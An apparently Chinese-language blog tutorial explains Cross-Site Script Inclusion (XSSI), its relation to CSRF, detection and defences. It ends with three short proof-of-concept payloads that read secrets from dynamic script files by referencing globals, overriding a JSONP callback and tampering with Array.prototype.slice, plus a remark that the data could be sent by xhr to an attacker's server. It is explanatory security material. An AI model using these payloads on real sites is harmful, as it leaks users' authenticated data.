XSSI

參考:

https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-lekies.pdf

https://www.scip.ch/en/?labs.20160414

http://sebastian-lekies.de/leak/ 供練習的小樣例。

簡介

什麼是 XSSI

XSSI 全稱(Cross-Site Script Inclusion),在命名上和 XSS(Cross-Site Script)相似。但漏洞利用行爲上和 CSRF 更爲相像。

當一個網站通過 <script> 標籤請求 js 文件時,服務器所返回的 js 文件中若包含敏感信息。那麼通過 js 間接的方式獲取到這些敏感信息,則稱爲 XSSI。

既然如此,可能會產生疑問,其和 csrf 有什麼關聯呢?其實可以從兩個角度來理解:

  • 第一個角度,試想這樣的情景。服務器上存在某個 js 文件,可以根據用戶 cookie 動態生成的,並且裏面包含有用戶的敏感信息。此時我們因爲沒有受害者的 cookie ,所以無法直接以其身份請求該 js 文件。但想一想 csrf ,csrf 是如何誘使受害者觸發的呢,最常見的應該就是藉助 xss。所以,此時若頁面中有xss 漏洞的話,我們就可以誘使受害者包含含有敏感信息的 js 文件,並通過xhr 將信息傳送到我們控制的服務器上。
  • 第二個角度。實際上,csrf 中有兩類利用方式,第一類就是以受害者的身份執行敏感操作,第二類就是以受害者的身份請求某類敏感資源。此處的 xssi 就和第二類的 csrf 非常類似,不過不同點在於請求的對象不同。csrf 通常是請求的是web 頁面、或 api 接口,而xssi 請求的是 js 文件。
使用場景

存在服務端根據用戶 cookie 動態生成的 js 文件,並且其中包含有值得獲取的敏感信息。

存在XSS,使得可以可以類似 CSRF POST 型觸發方式進行觸發。

如何攻擊

可以使用此 burp 插件檢驗網站是否存在動態的 js 文件 DetectDynamicJS

若檢測到爲動態 js,並且經翻閱後發現存在敏感的信息,則參考下文的攻擊方式進行利用。

如何防禦

從 XSSI 的描述中,其實可以看到,其利用方式和 csrf 非常類似,所以 csrf 的一些防禦方式也可以用來防禦 XSSI。

此外,前端的 js 文件文件名必須固定。從這個角度來看,xssi 中 js的文件名,就相當於 csrf 中的 url 都必須是固定的。而現實中前端越來越多使用 webpack 打包,使得部分 js 文件名不可預測。

因爲動態的 js 平時也比較罕見,所以關於防禦方式,碰到再仔細研究。

攻擊方式

靜態 js

如果是靜態 js(包含網站的敏感信息,而不是特定用戶的敏感信息),那麼直接在 js 文件中查看就行。因爲所有人訪問該文件得到的結果都一樣。

動態 js 、基於認證的 js

注意,這兩類攻擊方式都是一樣,但仍然有一個概念上的細微區別。

動態 js 指的是不同的人訪問獲得的內容不同。

基於認證 js 指的是隻有經過認證之後,才能訪問。

和水平越權垂直越權之間的關係類似,兩者的關係並不是互斥的,有時一個 js 文件既是動態的、又是基於認證的。

這塊演示三個小案例

  1. // 含敏感信息的動態 js 文件,敏感信息屬於全局變量
    var secret = "password";
    
    // 利用,直接引用這個敏感的全局變量。
    // 這塊的 alert 只是從示例中挪過來的,實際獲取信息的話可以通過 xhr 將敏感信息發送到攻擊者控制的服務器上,剩下兩個案例也是類似的,就不再重複。
    <script src="https://www.vulnerable-domain.tld/script.js"></script>
    <script>
          alert(secret);
    </script>
    
  2. // 含敏感信息的動態 js 文件,敏感信息作爲函數調用參數進行傳遞
    angular.callbacks._7("secret message");
    
    // 通過重寫函數來獲取到敏感信息
    <script>
          var angular = function () { return 1; };
          angular.callbacks = function () { return 1; };      
          angular.callbacks._7 = function (leaked) {
    	  alert(leaked);
          };  
    </script>
    <script src="https://www.vulnerable-domain.tld/?jsonp=angular.callbacks._7" type="text/javascript"></script>
    
  3. // 含敏感信息的動態 js 文件,敏感信息作爲參數進行傳遞,並且是 js 內置的函數。
    (function(){
      var arr = ["secret1", "secret2", "secret3"];
      var x = arr.slice(1);
      ...
    })();
    
    // 通過原型鏈篡改來獲取敏感數據。
    Array.prototype.slice = function(){
      alert(this);
    };
    
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章